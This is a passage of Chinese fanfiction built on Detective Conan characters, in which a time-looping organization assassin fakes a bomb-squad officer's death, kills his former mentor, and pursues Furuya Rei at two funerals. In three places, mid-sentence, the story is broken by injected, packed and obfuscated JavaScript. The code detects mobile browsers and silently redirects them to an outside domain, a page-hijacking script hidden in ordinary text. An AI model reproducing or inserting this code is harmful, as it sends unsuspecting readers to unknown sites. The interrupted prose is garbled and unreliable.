松田没有认真听,因为电话那头一直没有人接听,“嘟……嘟……嘟……”规律的声音死板地从听筒出传来,无人接听。 松田感觉心脏加快了跳动,他的手心溢出汗,比任何一个拆弹的时刻还要紧张,松田放下手机,抓住身边一个组员问:“你们刚才在说什么?” 他的力气不自觉地失控了,那人被他抓得生疼,刚准备发火,就看清了他的脸:“松田啊,你怎么来了?” 松田没回答,他的心脏跳得发疼,就像是在预警告诉他有什么不好的事就要发生了。 那人看出他脸色不好,想到他和萩原是关系很好的幼驯染,犹豫了一下不知道该不该说:“那个,不知道为什么……这次只有萩原一个人上去了。” 这不太合规定,一般来说不会让机动组的人单独行动。 松田放开抓住那人的手,咬紧牙,他抓紧了手机,却不知道要不要再拨出去。是不是萩原已经在拆弹了,所以没办法接他的电话? 十五分钟前。 萩原研二提着拆弹的工具,独自走进公寓。公寓很安静,居民早就被疏散走了。 这是他从警校毕业一个月以来,第一次单独进行拆弹的任务。倒不是说他不能单独完成拆弹工作,只是这种特殊情况给他带来了一点不安。 炸.弹被安置在二十楼,为节省时间,萩原是坐电梯上去的。电梯又快又慢地上升,萩原看着前方,电梯门隐约反射出他的身形,他意识到自己不自觉地在皱眉。 不知道小阵平那边进行到哪一步了。萩原动了下手指,还是忍住了没有去打电话。阵平比他更早一步去到另一处炸.弹安放点,很有可能现在已经在拆弹了,还是不要去打扰他比较好。 有什么事等结束之后再说,萩原还是拿起了手机,编辑了条定时短信。 [等下老地方见。]定时就定在十五分钟后吧,那个时候小阵平肯定解决炸.弹了。 电梯发出清脆的一声“滴”响,提示萩原到二十层了。 萩原走出电梯,在双脚站稳在电梯外那一刻,意识到了不对劲。 有人! 公寓已经被完全清空了,怎么还会有人? 萩原猛地往旁边闪躲,躲开了那人的攻击,他极快地把工具箱卸下,握拳准备反击,却在看清对方的时候停住了。 北百川一举着枪对着他。 “又要开始解释了吗?”北百川一低声自言自语,木着脸进行了毫无新意的威胁流程。 拿捏好人太容易了。北百川一收起枪,示意萩原跟上来:“走吧,我们去楼下,这里的炸.弹就别管它了。” “我们真的没有见过吗?”萩原满腹疑惑。他翻遍了记忆,肯定自己没有见过对方。那为什么他会对这人有着很强的熟悉感? 他猜不出对方的身份,也不知道对方为什么要让他离开这里,不让他完成自己的工作。 北百川一没回答,在来到不会被炸弹波及的地方后,他把身上的背包塞给了萩原,说:“这里面有乔装能够有用到的假发、衣服,收拾一下,你就离开这里吧。” “我为什么要乔装?”萩原更是不明白。他的直觉告诉他对方似乎没有恶意。但所有的要求又是那么古怪,他完全猜不出对方想要做什么。 “简单来说,你要假死一段时间。”北百川一懒得解释那么多,“你不假死,就得真死,或者你的幼驯染死。” 话音落下,他就发现萩原的眼神变了,看着他的眼里带上了凶意和更强的警惕。 “……”北百川一抽了一下嘴角。他这句话不是威胁,是陈述事实。难道听不出来吗? 好在,被误会的威胁也是沟通的一种方式,萩原流露出来的凶狠转瞬消失,他又恢复了原来那副对社交游刃有余的样子,语气平静地询问:“你说的假死,需要瞒住所有人吗?” “嗯。”北百川一一点意义都不给他,“在四年以内,你不能和你认识的人联系。这是我们组织最低的要求。” 是的,不能。北百川一心想。倒不是组织要求,组织没这规定,组织是你联系就得死。他这么说是因为这不是他的第四次循环。 没错,在第四次循环里,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612186|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人救下后,以为大功告成,没有去管萩原会不会去联系别人,所以这家伙刚假死完就对亲友广而告之。 接着系统通知他主线被破坏,时间循环,进入第五次循环任务。 他真的想不明白萩原活着的事到底哪里耽误高中生侦探谈恋爱了! 萩原一向擅长控制情绪,但在这一刻情绪还是崩了几秒,他低下头,沉默了好一会儿没说话。 四年……也就是说这四年以内他的家人、阵平都会觉得他是真的死了。他握紧了拳头,不敢去想他们会有多伤心。 可他没有选择的权力。面前这人背后似乎有着庞大的组织,不知为何会盯上自己,甚至他身边亲近的人都因此被用来要挟他。 北百川一见他没说话也没动作,也不急,他看着时间,在手表的指针快要指向数字三的时候,一声轰鸣从楼上响了起来,整栋公寓似乎都跟着晃了晃,他的周围并没有陷入黑暗。 【任务成功。救援目标一号萩原研二存活,剩余目标:1/5,请宿主继续加油。】 是熟悉的系统播报。北百川一忍不住戳了戳被他屏蔽的系统996:[喂,我要怎么才能知道我真的完成了任务,不会在过一段时间又被踢回循环。] 996已经被他屏蔽习惯了,它正在睡觉,揉揉眼睛,想了好一会儿才想到:[主系统那边应该会有提醒的吧,我也不知道,我只是个实习生。] ……怎么感觉996越来越摆烂了。明明他这个宿主都在努力卷。北百川一嫌弃地把它继续关回了小黑屋。 萩原并没有错过刚才那声爆炸,他心一沉,意识到在所有人眼中,这一刻他已经死了。 他自嘲地扯了下嘴角,拎起北百川一给他的背包,从里面拿出乔装的衣物。 北百川一满意他转变的态度,他拍拍萩原的肩膀,把刚才从对方身上收走的手机交回给他手里,“手机算是留给你的礼物,好好保管。下次见面或许你就会谢谢我了。” 他决定让萩原研二去国外待一段时间。萩原研二刚脱离原来的身份,这段时间不适合留在日本。正好他也想在美国发展,把人扔去那边吧。 他看见萩原紧紧抓着手机,一言不发地盯着手机屏幕,于是发挥了自己仅剩不多的同理心,临时编了个瞎话安慰:“这么说你可能不信,我有预知能力,我预感到你要死了,所以来救你。让你假死不是在威胁你,我的威胁早在一开始就说完了。” 萩原没有理他,北百川一看不出他在想什么 ,但希望他别再把自己还活着的事情告诉松田阵平了。他每次重开走流程也挺累的。 北百川一转身,走了两步想到什么,回头说:“这回忘记自报家门了,我是密斯卡岱。” 说完这句话,北百川一就离开了。 萩原研二在看那条已经按照定时发出去的短信。 [等下老地方见。] “……”萩原垂眸。早知道会发生这样的事,他就不发这条邮件了。 他无法判断密斯卡岱说的话是否真实,因为那听起来太过于天方夜谭。 但此时他能做的似乎只有……暂时相信密斯卡岱说的是真的。四年太长了,他却只能等。 抱歉了小阵平,短信里说的“等下”,可能要你等上一段时间了。 【恭喜宿主获得成就:萩原研二的承诺。恭喜宿主开启支线任务,解锁重要关系人物好感反馈系统。主线剩余目标:1/5。请宿主继续加油。】 5. 第 5 章 北百川一打开这所谓的【重要关系人物好感反馈系统】,面前弹出了一个大概只有他自己才能看见的界面,一行写着主线人物,上面是警校五人组的头像,一行写着支线。 北百川一扫了一眼,支线二字后面跟着的头像有很多,他暂时没看出有什么规律,不过看到了好几个熟人,什么琴酒、贝尔摩德。 北百川一不怀好意地想,说不定他们会出现在上面是因为最后的结局死掉了,支线任务就是让他救这些人。 北百川一点开琴酒的头像,几行字立刻弹了出来。 [琴酒] [好感值:负] 【恭喜宿主触发支线任务:琴酒的猜疑(1)】 ?北百川一反反复复看着这几行字。这就是你游的好感系统?怎么能简陋成这样? 等一下这不是游戏。北百川一决定先把这个问题放在一边,如果现实也能够用具体的数值来衡量好感,那也挺奇怪的。 琴酒的猜疑这个任务是怎么触发的,琴酒也不是今天才开始猜疑他吧。而且这个(1)看起来就很微妙,总觉得后面还会跟着23456。不过这么看起来,感觉不是拯救琴酒计划,更像是拯救密斯卡岱计划。 还真是像游戏啊。北百川一感慨,又点开了萩原的头像。 [萩原研二] [好感值:负] [成就:萩原研二的承诺] [任务:萩原研二的营救计划(已完成-循环次数5)] 北百川一注意到任务后面还记录了循环次数,忍不住在想那支线任务可以循环吗。 [不可以。]996又被他拖了出来,听到他的问题后很快回答,[因为支线任务你可以不做,只是做了会有更多的兑换点。] 那可以顺带做一下。北百川一心想,顺手把警校五人组的头像挨个点进去看了看。 zero、诸伏景光、伊达航目前还不认识他,好感显示的那一栏都是空白,任务名字也平平无奇——zero的信息栏里没有显示有任务。北百川一不置可否。 松田阵平的有点奇怪。北百川一盯着那行[好感值:负]看了好一会儿。 在最后一次循环里,他并没有和松田见过面。按道理来说对方对他的好感值应该和其他三人一样。可是现在却是一个硕大的负。难道说…… 你游的时间循环也充满bug!北百川一愤愤地关掉了系统。 ------- 北百川一在完成组织的任务,也可以说是琴酒的猜疑(1)的前置任务。 他站在青铜雕塑旁边,宴会大厅角落,距离演讲台不到十米。 虽然离目标很久,但这不算一个引人注目的位置,因为这座和人一般大的青铜雕塑把他的身形笼罩在阴影里。这是一座武士的雕塑,面目狰狞地怒视前方,双手握刀,长刀却深陷武士的腹部。 其实北百川一觉得这雕塑放在这里不是很吉利,不过他尊重宴会主人的喜好,他一向都非常尊重对方,就像对方教导的那样。 而且宴会的主人对他自己的安保团队很有信息,认为在极其严格苛刻的检查下,不可能有人能够把凶器带进宴会。至于毒药,他考虑过这种可能,所以不会吃宴会上的任何东西。宴会的主人,有安太郎如此想。 只需要等最后一件展品展示完,他就可以离开了。有安太郎脸上挂着假笑,审视着今天来到宴会的客人,猜测有多少人是真的为展品而来,又有多少人是来商谈合作的。 灯在鼓掌声中熄灭了,会场陷入黑暗,掌声也应景地收敛。 很轻的一声“嚓”,像是金属摩擦。宴会主人的安保团队中有人听见了,疑惑地张望了一下。会场并不是绝对的黑暗,只是大部分人都因为从亮转暗无法很快适应,但保镖们一直戴着墨镜,所以,他看见了。 有什么东西在黑暗中也反射出了一点亮色,黑色的身影跃出,直直地冲着宴会主人的位置而去。 围在有安太郎身边的保镖大惊,极其有素地行动了起来,他们也被勒令不允许带武器,所以能够用的只有赤手空拳。 整个会场骤然变得混乱,宾客不知道发生了什么,茫然无措,却被想要把宴会主人带走的保镖挤得撞在一起。尖叫声、大喊声充斥了整个宴会厅。 保镖们不是没有遇到过类似的情况,留下来抵抗的人原因为以他们的素质和人数不至于落下风,却没想到身体却碰上了锋锐的金属。 “他有武器!”最先察觉的人大声提醒。 怎么可能?有安太郎也慌了神,他被保镖保护着往外移动,心底恐慌和愤怒交杂,他紧张地环顾四周,想要知道那看不见的杀手会从哪个方向来。 正面。 北百川一早就摘去了墨镜,他适应了黑暗,轻松地踹开挡在有安太郎面前的保镖,在所有人来不及反应之时,把长刀送入了对方心脏。 “噗嗤。”锐物刺入血肉的声音很是刺耳,时间似乎小范围地暂停了几秒,他看见有安太郎身边剩余的保镖脸上露出了又惊又怒的神情,朝着他扑来。 “是……是你……”有安太郎那张傲慢的脸上流露出最后的恍然。 北百川一有点意外对方还记得自己。不过也到此为止了。 他抽出长刀,血淋淋的长刀在他手里晃了一圈,他用刀背扫开了最先扑上来的两个保镖,然后一脚踹开另一个。周围又短暂地空了几秒,他反手把长刀刺入有安太郎的腹部,不再留恋,抽身混入了混乱的人群中。 到处都是混乱的想要离开的宾客,北百川一身上沾血的衣物和武器都被扔去,他的离开没有惊动任何人。 完成任务,他一身轻松地回家,在拿钥匙开门的时候,察觉到了一丝微妙的不对。 于是北百川一选择了翻窗。 屋子里漆黑一片,北百川一谨慎地握住枪,另一只手推开窗户,他翻身进屋,轻巧地落地……然后被什么东西抵住了后腰。 北百川一呼吸一窒,花了两秒反应过来不是枪口,然后借着月光瞥见不速之客有着一头银色的长发。 是琴酒。 他没好气地转过身,不承认自己真的被吓到了一秒。就算知道琴酒会在他完成任务后出现,被这么堵在家里也还是很吓人啊! “任务怎么样?”琴酒收起用来吓唬人的甩棍,换成打火机点燃一根烟。 “你不应该是第一时间收到信息的人吗?”北百川一反问。或许是因为今晚刚解决掉了一位老熟人,看见琴酒抽烟的时候他颇有几分感慨,说道:“上上上次见你的时候,你还不会抽烟。” “哼。”琴酒冷哼,“那个时候你也不像现在一样心慈手软。” “我心慈手软?”北百川一诧异,“你指的是我只捅了我们亲爱的老师两刀,而不是把他碎尸万段吗?看不出来你这么讨厌他。” “别装傻充愣,你知道我说的是什么。”琴酒不耐,他没有那么多时间耗在这里,他现在比密斯卡岱要忙得多。 北百川一知道,他不过是想顺带试探一下琴酒对有安太郎的态度。没试探出来,无所谓了,反正人已经死了,还是组织让杀的。 “你说的是我救了个警察这件事吗?”北百川一问。他心想这应该就是琴酒的猜疑了。他一般懒得解释,不过想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612187|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许能把任务解决,换个兑换点,他还是编了个像模像样的借口,“萩原研二在拆.弹方面有天赋,拆弹和组装不分家,我这是在为组织招揽人才。” 【支线任务完成。琴酒的猜疑加深,恭喜宿主触发支线任务:琴酒的猜疑(长期)。请宿主继续加油。】 听到系统播报,刚准备高兴的北百川一:“……” 他就知道琴酒不会信。原来这个(1)后面跟着的是“长期”。 北百川一知道这个任务是没法完成了。也是,组织里谁没被琴酒猜疑过? “你不信。”北百川一翻白眼,“不信拉倒,反正组织没意见。” 琴酒掐了烟:“别做背叛组织的事情。” “好的好的。”北百川一点头。 “那个警察,我不觉得他会老实听你话。有异心的人就应该被处理掉。”琴酒继续说。 “嗯嗯。”北百川一继续点头。 琴酒不说话了,他握紧了枪,冷冷地道:“如果被我发现……” “被你发现我出了什么岔子你就弄死我。”北百川一帮他说完。他笑了起来,语气有几分微妙,“如果真的有那么一天再说吧。” 谁弄死谁还不一定呢。北百川一很放松地想。 ------- “有安太郎死了。”上级走进门就带来了不好的消息。 降谷零放下手里的机械,抬头看向上级,他意识到自己的卧底任务可能要推迟了。 “怎么死的?难道是那个组织……” 上级把手里的纸质资料放在他面前,语速很快:“目前不知道是哪一方的人做的,但就知情者的情报,有安太郎在死前似乎认出了杀手。因此我们推测很大可能是我们目标的组织做的。” 降谷零翻开资料,第一页就是有安太郎的遗体照片。 照片上能够很清晰地看见,有安太郎心脏有明显的刀伤,鲜血流下,但凶器长刀却是插在腹部。 “鉴定科判断致命伤是心脏。”上级指了指心脏的位置,“凶手目标明确,有不错的夜视能力,力量极强,在黑暗中也能够把长刀利落精准地插入有安太郎的心脏。” “为什么腹部还会有一刀?”降谷零问,“是特殊的仪式还是泄愤?”如果是他做这种事情,不会选择过多的程序,一击致命后离开才是最安全的。但这名杀手却做了多余的事,还是选择了容易联想到切腹的补刀方式。 “不知道。我们的人没有在有安太郎的人际关系中发现有能力做这种事情的人。”上级顿了顿,“所以我们推测有可能是组织里的人做的。” “有安太郎在十年前收养了很多孩童,明面上给出的理由是家业无人继承要养义子义女,实际上是帮组织做掩护,方便组织培养筛选死忠。凶手很有可能是当年他收养的孩童。”降谷零还记得前段时间送到手里来的信息。 “我们也是这么想的。”上级叹气,“先不说这个,这个等你真正潜入组织再去查也可以,那时候你可以留意一下组织里谁比较擅长长刀这种武器。现在的重点是,我们本来的计划是让你走有安太郎这条线卧底进入组织,这段时间已经安排好一些了,但现在人死了,一切都要推翻重来,还需要收拾干净我们的痕迹。” 降谷零抿了抿唇,问:“现在需要我做什么?我不会因此放弃这个任务的。” “我们会换一个方案,只是你需要多在这里训练一段时间了。”上级说,他对视上降谷零的眼睛,紫灰色的眼睛闪着坚定不移的意志。 上级有所触动,忽然问:“说起来,你能接受honeytrap这种潜入方案吗?” 6. 第 6 章 这是属于萩原研二的葬礼。 天气很好,是个大晴天,但是萩原研二注定看不见了。 ——因为他已经出国了。北百川一看了眼手机,上面的邮件是萩原研二不久之前发过来的,说明他已经出国。北百川一从这封公事公办的邮件里看出了萩原的不情愿。 北百川一环视了一圈周围,参加葬礼的人很多,能够看出萩原“生前”的人缘很好,他关系亲近的好友都围绕在墓碑前,站在远处的就是他们这群有点交际的普通朋友了。 好吧,他和萩原的关系并不能够称为普通朋友。北百川一为自己的想法打了个补丁。然后他看见了松田阵平,他下一个任务对象。 松田阵平作为和萩原研二关系最好的幼驯染,却没有和其他人一样上前。他戴着墨镜,黑色西装,站得远远的,被墨镜挡住的大半张脸上看不清他的神情,但他站在那里,就让人感觉浑身散发着阴郁冷淡的气息,难以接近。 北百川一看见他站在那没一会儿,开始用手机发信息,那双极为擅长拆弹的手在键盘上跃动,松田阵平像是为了完成任务那样参加了萩原研二的葬礼,只是这么待了几分钟,就离开了。 这不是他的目标,北百川一没有跟上去。 他继续在人群里搜寻,专门盯着很少人会去的角落。这回他提前把系统996放出来了,觉得这个没用的系统说不定这个时候能够派上一点用处。 [宿主宿主,我找到了!]996不负所托,它告诉北百川一,[在你八点钟方向。]呜呜那才应该是自己命中注定的宿主啊,而不是现在这个真酒。当然,后面这句话996是不敢说的,说了肯定又被关小黑屋。它现在都要习惯小黑屋的生活了,很适合统睡觉。 北百川一扭头确认了一眼996说的位置,确认了他想见的人确实在那,他暂时没有动,而是等周围零星有人离开的时候,一边把996屏蔽,一边朝那个方向走去。 降谷零站在那,他低调地戴着黑色帽子,掩盖住了一头金发,能看得出脸上稍微有做伪装,让他看上去并不是那么耀眼。他站在一颗树旁边,影子被树荫藏得很好。 降谷零知道自己今天本不应该来的。他的卧底计划需要他在身份上进行完全的改头换面,和过去断开联系。倒不是说他不能出门,只是最好不要和过去的人进行切断,一切按照新的身份行动。 但是…… 降谷零没有办法不来。他知道自己应该低调,因此在看见有人在向他走来的时候,他迅速低下头看了眼手机,假装有急事要走一般,抬脚就要离开。 “等一等。”北百川一快步上前,挡住了他。 如果听到了有人叫自己还要离开,那未免就太刻意了,于是降谷零也停下了脚步,带着一点疑惑看向北百川一。 “这位先生。”北百川一自然而然地流露出几分惊喜和意外,“您是不是之前救了我?就在前几天,那栋废弃的大楼里。” 降谷零不动声色地审视了北百川一一番,他确实对这人的脸有印象,是他前几天外出为自己新身份做准备时顺手救的人。 而且这张脸……也很难不印象深刻吧。降谷零脑海里闪过这个想法。如果被萩原带去联谊会的话,估计会被很多女生包围。 “没想到你还记得我。”降谷零微笑,心里思考,这是萩原的葬礼,所以来的人多半是萩原认识的人,从穿着打扮上来看,这人的身份应该是大学生。 只是巧合吗? “我是北百川一。我可以知道您的名字吗?您可是我的救命恩人!”北百川一扬起热情的笑,“我在医院醒来的时候没有看到您,一直很是担心,现在看来您没有受伤,那真是太好了。” “安室透。”降谷零说,这是他新身份的名字,在未来很长一段时间都需要用到,不如干脆现在就用上。他没有在北百川一身上察觉到危险,只觉得对方稍微有一些热情了,他想了想说,“我只是正好经过那里,换做任何一个人都会这么做的,不用感谢我。” “那怎么行。”北百川一不赞同地说,他飞速掠过这个话题,问道,“安室先生能够和我交换电话号码吗?或者是交换ins?” 降谷零,现在应该叫安室透了,安室透没有拒绝。 北百川一也知道见好就收,他很满意地收起手机,和安室透道别:“虽然在这个时候说好像不太合适……但是我还是想说,很高兴能够在这里见到你。期待下次见。” 他的伪装向来是只要他想,就会是到位的。 但在说出最后一句话时,他莫名联想到了一个海龟汤故事,笑起来的时候唇角弧度加深,脸上的阳光开朗在这一瞬渗出微妙的古怪。 他很快收敛,挥了挥手离开了。 有那么一点过于热情的大学生。相貌很是出众,在学校里应该很受欢迎。安室透看着北百川一离开的背影,眼里闪过一丝疑惑。 就是不知道为什么……有一点奇怪。安室透记住了北百川一的名字。准备回去后顺手查一下。 -------------- 北百川一听过这么一个海龟汤故事。 故事的内容大概是,有三兄弟,老大被老三杀了,举办了葬礼。老三在葬礼上遇到了一个人,并且对她一见钟情。于是回到家之后把老二也杀了。这样又可以举办一次葬礼,老三又能够遇到那位让他一见钟情的女子。 嗯,北百川一在和降谷零说期待下次见面的时候,就在想,他会不会在松田阵平的葬礼上又一次遇到降谷零。 现在好,他不需要去琢磨这件事了,第二场“葬礼”是来自有安太郎的。北百川一站在有安太郎送别会的角落,愉悦地想。看看他发现了什么,一只zero。 有安太郎作为在多个行业都颇有名气的大人物,死后也有人为他组织了送别会。不过和萩原研二的葬礼截然不同的是,赴约前来有安太郎送别会的绝大多数人,和有安太郎关系都不怎么样。 北百川一也是其中之一。他来这里是因为组织的命令。 有安太郎是组织里资历很深的成员,在很长一段时间里都在为组织收集值得培养的人,手底下的人分为两种,一种是他们这样的“学生”,看似被他培养,实际上受组织管理,成年后多半会摇身变为组织代号成员;一种则是有安太郎的义子们,和组织没什么关系,但掌握着有安太郎手底下很大的权力和财富。 有安太郎年龄不小了,或许是身体不好让他回忆起了早年的作恶多端,这人开始良心发现,隐隐有要联系官方给自己洗白的趋势。 很遗憾,组织不会让他这么做。组织对他想要善终的念头很是不满,所以让北百川一杀了他。 在有安太郎死后,他的钱权如何划分,对他的义子们来说,是一个很大的问题。今天来到这里的人,多数都是为了这个。 至于北百川一,北百川一又是来杀人的。或者说是来确认杀人名单的。方便动手的立刻处理掉,不方便就交给组织,下次再说。 组织还真是信任他啊。也不担心他夹带私货多杀了看得不顺眼的人。组织向来如此,宁可错杀也不放过,他多杀了人没关系,只要不漏人就行。就算漏掉了也会有别的组织成员补刀。 不过北百川一的心思已经不在组织的事情上了。 他在看降谷零。 他隐约猜到了为什么降谷零会出现在这里,甚至大胆猜测了他们的后续计划。 降谷零穿着和上次见面时类似的黑色西装。这一次却明显有了不同。 首先,这次的黑色西装一看就是量身定制的。衣服的每一处线条都恰到好处,展示出修长的手臂、腿,一眼就能看出他有着很好的身材。 没有戴那顶丑帽子,金色的头发在灯光下显得更加耀眼,每一根发丝都像是精心收拾过,乖顺地落在恰到好处的位置,露出那张出挑的脸。和其他人不同的发色、肤色,以及出众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612188|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸都让他格外引人瞩目。 他正在和人交谈,细碎的刘海下是紫灰色的眼睛,微微低垂着眼眸,却不显得敷衍,而是添了几分神秘。 要是zero再这么说下去,他就把正在和zero说话的那人写进组织暗杀名单。北百川一如是想。 好在他还是有那么一点善心,北百川一走过去,扫了那人一眼。 这是一个组织成员,不过在组织里的地位很低,连代号都没有。那人不认识北百川一,却被他的气势所恐吓,下意识后退一步。 北百川一移到两人中间,把人隔开。 “我可以知道你们在聊什么吗?”北百川一弯着眼睛看向降谷零。 他今天用的不是自己的脸,因此在意识到降谷零想要走的路线时,他心里立刻有了很棒的主意。 他要把北百川一和密斯卡岱分开。 用北百川一和zero成为朋友,然后用密斯卡岱的身份帮助zero进入组织。双重身份,两种不同的零君都能接触到,那非常好了,双倍快乐。北百川一觉得自己的想法简直是天才。 降谷零没有想到会有其他人走了过来,他怔了一秒,很快反应,后退一步礼貌地拉开距离,看了眼被隔开的女人,浅笑着说:“我在和这位女士……聊一点私事。” “我也想听。”北百川一很没有情商地说。 “……”降谷零和不知名的女人齐齐无语,女人嘟囔了一句什么,兴致已经褪去了一大半,她越过北百川一,想要把一张名片塞进降谷零手里。 名片在中途就被拦截了,北百川一抽走名片,笑眯眯地在手里折断,他歪了歪头,看向女人:“你可能不太认识我,你想认识一下吗?” 他的语气中透出了危险的信号,像是凶兽露出了獠牙,冷风顺着颈椎灌进了女人的身体,她意识到今天这里有很多大人物,面前这位她不一定能够得罪得起。 于是她后退了两步,转身悻悻地走了,走之前还恋恋不舍地看了降谷零一眼。 还是把人加进暗杀名单吧。北百川一想。 他看向降谷零,手腕一翻,手里那张被折断的名片变成了一张黑色的卡片,递到降谷零面前。 “你只要收下我的名片就好。”北百川一说。 降谷零露出些许古怪的神情。这完全是预测之外的情况。 原本一切都很顺利,他的目标被引诱,大刺刺地上门。结果两人刚展开聊天,才刚交换名字没多久,就被不知道哪里冒出来的人打断了。 而且对方递出来的…… 降谷零看着黑色卡片上显眼的“1024”——显然是一张房卡,这未免也太直白了。他礼貌又客气地婉拒了:“不好意思,这位先生,我们好像不认识。” 北百川一低头看了眼,淡定地把黑色的房卡收回来,重新拿了一张出来:“抱歉,拿错了。这是我的名片。” 两张卡片伸到了降谷零面前,他分不清这句话的真假,但显然这个时候他不再适合拒绝掉这张名片。 降谷零避开房卡,抽走了另一张。 黑色的名片是磨砂质感,背面漆黑无字,他把名片翻过来,看见上面写着——密斯卡岱。 密斯卡岱,法国白葡萄酒。 降谷零瞳孔收缩,他本能地怀疑起这是一个陷阱。不然怎么会在他需要进入组织的时候,恰到好处地出现疑似组织代号成员的人? 降谷零脑海里闪过无数可能,面上丝毫不显,只是收下这张名片,就像什么也不知道一样,略带好奇地问:“密斯卡岱先生?这是你的英文名吗?” “不是,不重要。”北百川一说,他那张没有收回去的房卡被留在手里把玩,他反问,“你不问问我为什么想要认识你吗?” 降谷零的直觉让他有了一种不好的预感,他警惕地没说话,却听密斯卡岱已经自顾自地往下说了。 北百川一言简意赅,直接明了:“想睡你。” 7. 第 7 章 如果这是一场正儿八经的送别会,那密斯卡岱一定会因为他过于赤.裸的言语被人踢出去。降谷零想。 太直白了。 降谷零的视线在那张房卡上扫过,他冷静地分析。密斯卡岱很有可能就是那个组织的人。就算不是,也值得他进行一点试探,试探一下对方为什么会突然找上门。 于是降谷零冷下脸,给出最适合的反应,他后退两步,拉开两人间的距离,话语中带上怒意:“我来这里并不是做这种事的,你找错人了。” 说完这句话,他转身作势要离开。 北百川一欣赏着他脸上的怒气,不知道他是装出来的还是真的生气了。但不管是哪种都很有意思,他猜是装出来的。 在降谷零真的要离开前,他伸手抓住了降谷零的手臂:“别走呀,我只是开个玩笑。” 降谷零眉间的不悦未散去,他的视线在北百川一的手上停了两秒,敏锐地捕捉到了枪茧的痕迹。 左撇子?他心念一动,想起来在有安太郎的尸检报告中有特别注明了,凶手左手握刀,应该是左撇子。 “一个玩笑如果当事人觉得不好笑,那就不是玩笑。”降谷零说,他没再动,看了眼北百川一还搭在他手臂上的左手,又看了眼北百川一。 北百川一松开了手,他把那张房卡放回口袋,他想了想,把胸口别着的胸针取下,送到了降谷零面前:“抱歉,这个送给你,作为赔罪礼。” 降谷零恶补过一段时间这方面的知识,因此一眼就看了出来,这是GRAFF的耳环,被对方拿来当胸针用,低调奢华,他必须承认确实很适合密斯卡岱——不过这不是重点。 重点是贵,价格高达八位数日元。 降谷零露出不失礼貌的假笑:“谢谢,不过不用了。” “你拿着吧,我还有很多。”北百川一不容拒绝地说,他上下抛了抛胸针,补充了一句,“你不要的话我就扔掉了。” 降谷零迟疑了一下,感觉以他现在的人设应该要收下来,于是没有再拒绝。 他很轻地握住那枚胸针,感觉像拿着烫手山芋。 两人有一会儿都没说话,还是北百川一打破了沉默:“我来这里也不是做这种事的。”他决定澄清一下自己的形象。就算是密斯卡岱也可以走点纯爱。 他看见降谷零看向他,那双紫灰色的眼睛就像他们第一次见面时那样,认真又专注地看着他——北百川一知道这不过是自己的错觉,zero就是有着看狗都深情的眼睛。 北百川一说:“我来这里本来有别的任务,但是看到你……我就对你一见钟情了。” 他说这句话的时候,几分认真,几分轻佻,听不出真假,辨不出真心。 降谷零不置可否,顺着这个话题陪聊:“一见钟情大部分都是见色起意。” 北百川一也不否认:“可能是吧。喜欢一个人离不开喜欢他的身体、脸——所以你觉得我怎么样?有能让你见色起意的能力吗?” 降谷零的视线从他的身上、脸上划过,在继续顺着对方,和反驳对方之间,他选择了后者。觉得这样虽然有激怒密斯卡岱的风险,但是剑走偏锋,说不定能够验证一些事情。 “不太能。”降谷零说,“身材很好,脸差了一点。”他打量着密斯卡岱的脸,眼神隐秘地落在对方脖颈处。他在怀疑这并不是对方真正的长相。太平凡太普通,丢进人群里都不会有人在意,和其表现出来的气势完全不一致。 北百川一眨眨眼:“我忘了,今天出来我用的不是自己的脸——你感兴趣吗?”其实声音也不是。 “不。”降谷零回答。于是错过了最后一个见识北百川一真面目的机会。他不动声色地继续试探:“你刚才说你来这里另有目的,你也是有安太郎的义子吗?我并没有听说过你。” “这里除了有安太郎的义子以外还有很多别的人吧。我是他的学生。”北百川一耸肩,“我不是什么大人物,你不认识我也正常。” 果然吗。在降谷零拿到手的信息里面,就有一条,有安太郎的学生大部分都和组织存在联系,甚至大部分都是有代号的重要成员。难道真的这么巧,他被组织代号成员盯上了?而且只是简单的因为对方见色起意? 降谷零依旧保持着他的怀疑和警惕。 北百川一已经把话题重新抓回了自己手上,他反问降谷零:“你呢?今天来到这里的人,一半想要有安太郎手里的钱,一半想要他的权,你是哪一种?” 降谷零没回答,他微微低头,脸上多了几分郁色——这是上级给他安排的人设,一个没什么名气的三流侦探,很有天赋,但是得罪了有安太郎的一个义子,被他手底下的人百般为难,因此穷困潦倒。他出现在这里是想要接近那名义子的仇家,顺势解决仇人。 “都不是。”降谷零回答,他的语气带着低落和挣扎,面上的表情也跟着在变化。但这些复杂的情绪在他身上没有停留很久,他重新恢复微笑,就好像刚才那些都是无意间流露。 